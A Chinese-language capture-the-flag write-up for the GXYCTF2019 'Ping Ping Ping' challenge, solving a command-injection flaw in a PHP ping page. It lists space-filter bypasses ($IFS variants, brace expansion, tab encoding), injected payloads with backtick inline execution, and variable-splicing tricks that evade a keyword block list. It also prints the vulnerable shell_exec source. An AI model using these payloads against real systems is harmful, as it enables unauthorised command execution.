[GXYCTF2019]Ping Ping Ping
解题步骤
-
1、先使用 内敛执行 查看当前的php文件
- 执行 命令执行 发现空格被过滤 ?ip=127.0.0.1$IFS|$IFSwhomi
- 还有一个点就是这个 执行的命令是不能进行拼接的 可能就是被过滤了 | 所以我们使用 ; 进行绕过一下
-
空格过滤代替 $IFS ${IFS} ${IFS}$9 //这里$1到$9都可以 $IFS$1 //这里$1到$9都可以 < <> {cat,flag.php} //用逗号实现了空格功能,需要用{}括起来 %20 (space) //在shell中无法直接使用%20代替空格,但是在URL编码中可以尝试,tab同理 %09 (tab) ?ip=127.0.0.1;cat$IFS`ls` 内敛执行 : cat`ls` 就是查看 ls 执行结果的内容 这个其实就能执行拿下flag了
- ctrl+u 查看源码
-
升级 :
- 代码审计
-
/?ip= |\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){ // | 拼接执行全部鸡鸡 echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match); //过滤特殊的符号 preg_match() 函数表示使用正则进行匹配 die("fxck your symbol!"); } else if(preg_match("/ /", $ip)){ die("fxck your space!"); //过滤空格 } else if(preg_match("/bash/", $ip)){ // 不能使用反弹命令 bash die("fxck your bash!"); } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){ //发现 f l a g 都是被过滤的 那我们不能在后面写flag了 die("fxck your flag!"); } $a = shell_exec("ping -c 4 ".$ip); echo " "; print_r($a); } ?>
- 这个我们需要使用变量拼接
- 如这个 cat flag; 我们可以变为 X=fl;cat $Xag
- ?ip=127.0.0.1;X=ag;$IFS$1cat$IFS$1fl$X.php
- 这个变量拼接也是有说法的 多试一下
- 如果 X=fl 不行就试一下 ag ,f, a等多试一下
- 当然如果都不行就是试一下 ;a=f;b=l;c=a;d=g;cat$IFS$1$a$b$c$d.php